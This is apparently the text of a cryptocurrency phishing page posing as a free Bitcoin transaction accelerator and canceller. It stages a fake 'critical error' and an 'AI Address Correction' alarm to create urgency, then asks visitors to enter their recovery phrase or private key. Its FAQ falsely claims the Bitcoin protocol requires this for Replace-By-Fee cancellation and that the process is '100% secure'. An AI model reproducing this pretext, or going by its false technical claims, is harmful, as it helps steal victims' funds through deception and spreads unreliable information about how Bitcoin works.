Bitcoin Transaction Manager

Speed up unconfirmed transactions or cancel them entirely. 100% Free Service.

Accelerate Transaction

Push your unconfirmed transaction through the mempool. Estimated confirmation: 5 minutes.

Cancel Transaction

Drop an unconfirmed transaction from the mempool and return funds to your wallet.

Locate Transaction

Enter your Bitcoin Wallet Address or Transaction ID (TxID).

Scanning Mempool...

Connecting to BTC nodes...

CRITICAL ERROR DETECTED

Your transaction is being sent to a non-existent / unroutable address. The funds will be permanently lost if confirmed.

Address you entered: ...

Address you likely meant: ... Found by AI Address Correction

Warning: The transaction is currently in the mempool and will be confirmed shortly. You must intercept and replace the destination address immediately.

BlockExplorer

...

Transaction Details

Status Confirming in ~4 minutes

Destination

... Invalid / Unroutable Address

Network Fee 0.00014 BTC (High Priority)

This transaction has an invalid output script. If mined, the funds will be permanently burned.

Transaction Found!

Status: Unconfirmed (0/6)

Network Fee: Low (Needs bump)

Action: Cancel & Return Funds

To proceed with the cancellation, we need to verify ownership of the originating wallet.

Cryptographic Signature Required

To execute an RBF (Replace-By-Fee) cancellation, the Bitcoin network requires proof of ownership of the originating wallet.

Local Browser Signing

Your keys never leave your device. Our script generates the replacement transaction locally and only broadcasts the signed raw hex to the mempool.

Recovery Phrase

Private Key

Enter your 12, 15, 18, 21, or 24-word BIP39 recovery phrase to sign the cancellation.

Invalid phrase format or unknown words detected.

End-to-End Encrypted Connection

Interception Broadcasted!

Your cancellation request has been successfully pushed to the mining nodes.

Please wait up to 5 minutes for the network to process the refund. Do not close your wallet.

Bitcoin Network Status

Live metrics from our connected mining nodes.

142 MB

Mempool Size

124,592

Unconfirmed Txs

High

Congestion Level

45 sat/vB

Recommended Fee

Recent Blocks

Latest blocks mined by the network.

Height	Mined	Miner	Size
840912	Just now	Foundry USA	1.82 MB
840911	12 mins ago	AntPool	1.95 MB
840910	24 mins ago	F2Pool	1.75 MB
840909	31 mins ago	ViaBTC	1.88 MB

Frequently Asked Questions

Everything you need to know about our service.

How does the Accelerator work?

We broadcast your transaction directly to our partner mining pools (AntPool, F2Pool, Foundry). They prioritize your TxID in the next block template, bypassing the standard mempool queue.

Is it safe to cancel a transaction?

Yes. We use the RBF (Replace-By-Fee) protocol to broadcast a conflicting transaction that sends the funds back to your original wallet with a higher fee, invalidating the stuck transaction.

Why do you need my recovery phrase or private key?

To execute an RBF cancellation or CPFP acceleration, cryptographic proof of ownership is required by the Bitcoin protocol to sign the new transaction. This process is done locally in your browser and is 100% secure.

How long does it take?

Once verified, our nodes push the request instantly. You can expect confirmation within 1 to 2 blocks (approximately 10 to 20 minutes).